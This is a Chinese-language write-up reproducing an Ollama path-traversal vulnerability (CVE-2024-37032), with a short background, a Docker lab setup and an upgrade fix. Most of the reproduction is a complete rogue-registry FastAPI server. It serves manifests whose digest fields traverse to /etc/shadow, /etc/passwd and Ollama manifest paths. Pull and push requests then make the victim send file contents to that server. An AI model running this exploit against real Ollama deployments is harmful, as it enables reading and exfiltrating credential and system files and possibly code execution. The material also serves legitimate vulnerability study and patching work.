网络空间安全|Ollama远程代码执行漏洞（CVE-2024-37032）

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0x01简介

Ollama是一个专为在本地环境中运行和定制大型语言模型而设计的工具。它提供了一个简单高效的接口，用于创建、运行和管理这些模型，同时还提供了一个丰富的预构建模型库，可以轻松集成到各种应用程序中。Ollama的目标是使大型语言模型的部署和交互变得简单，无论是对于开发者还是对于终端用户。

0x02 漏洞概述

漏洞编号：CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确，服务器错误地将有效负载解释为合法的文件路径，攻击者可在digest字段中包含路径遍历payload的恶意清单文件，利用该漏洞实现任意文件读取/写入或导致远程代码执行。

0x03 影响版本

Ollama < 0.1.34

0x04 环境搭建

在docker里面设置/etc/docker/daemon.json文件，可供拉取国外镜像（没有可新建）

{
  "registry-mirrors": [
    "https://registry.docker-cn.com",
    "http://hub-mirror.c.163.com",
    "https://dockerhub.azk8s.cn",
    "https://mirror.ccs.tencentyun.com",
    "https://registry.cn-hangzhou.aliyuncs.com",
    "https://docker.mirrors.ustc.edu.cn",
    "https://docker.m.daocloud.io",   
    "https://noohub.ru", 
    "https://huecker.io",
    "https://dockerhub.timeweb.cloud" 
  ]
}

拉取docker镜像

docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

进行访问测试

0x05 漏洞复现

查看/etc/passwd

git clone exp

git clone https://github.com/Bi0x/CVE-2024-37032.git

在poc.py和server.py中的host变量和target_url和host变量，修改为目标ip，运行server.py后运行poc.py，读取/etc/passwd文件

通过模拟Ollama请求，构造一个恶意模型。在digest字段设置路径穿越payload，代码如下：

from fastapi import FastAPI, Request, Response

HOST = "192.168.244.133"
app = FastAPI()

@app.get("/")
async def index_get():
    return {"message": "Hello rogue server"}

@app.post("/")
async def index_post(callback_data: Request):
    print(await callback_data.body())
    return {"message": "Hello rogue server"}

# for ollama pull
@app.get("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests():
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/etc/passwd")
async def fake_passwd_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    return ''

@app.get("/etc/passwd", status_code=206)
async def fake_passwd_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\""
    return 'cve-2024-37032-test'

@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
async def fake_latest_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    return ''

@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
async def fake_latest_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/tmp/notfoundfile")
async def fake_notfound_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    return ''

@app.get("/tmp/notfoundfile", status_code=206)
async def fake_notfound_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\""
    return 'cve-2024-37032-test'

# for ollama push
@app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
async def fake_upload_post(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_patch_file(callback_data: Request):
    print('patch')
    print(await callback_data.body())
    return ''

@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_post_file(callback_data: Request):
    print(await callback_data.body())
    return ''

@app.put("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests_put(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host='0.0.0.0', port=80)

/api/pull端点将恶意模型载入

POST /api/pull HTTP/1.1
Host: 192.168.244.133:11434
Content-Type: application/json
Content-Length: 54

{
  "name": "192.168.244.133/rogue/bi0x",
  "insecure": true
}

通过/api/push端点将此恶意模型推送到远程注册表，服务器将处理构造的manifest文件。

POST /api/push HTTP/1.1
Host: 192.168.244.133:11434
Content-Type: application/json

{
  "name": "192.168.244.133/rogue/bi0x", 
  "insecure": true                     
}

通过推送后处理，执行读取/etc/passwd文件，windows下运行的server.py

0x06 修复方式

升级至0.1.34以上版本

参考链接

Probllama in Ollama: A tale of a yet another RCE vulnerability (CVE-2024-37032) - vsociety Docker配置国内镜像源 | 从01开始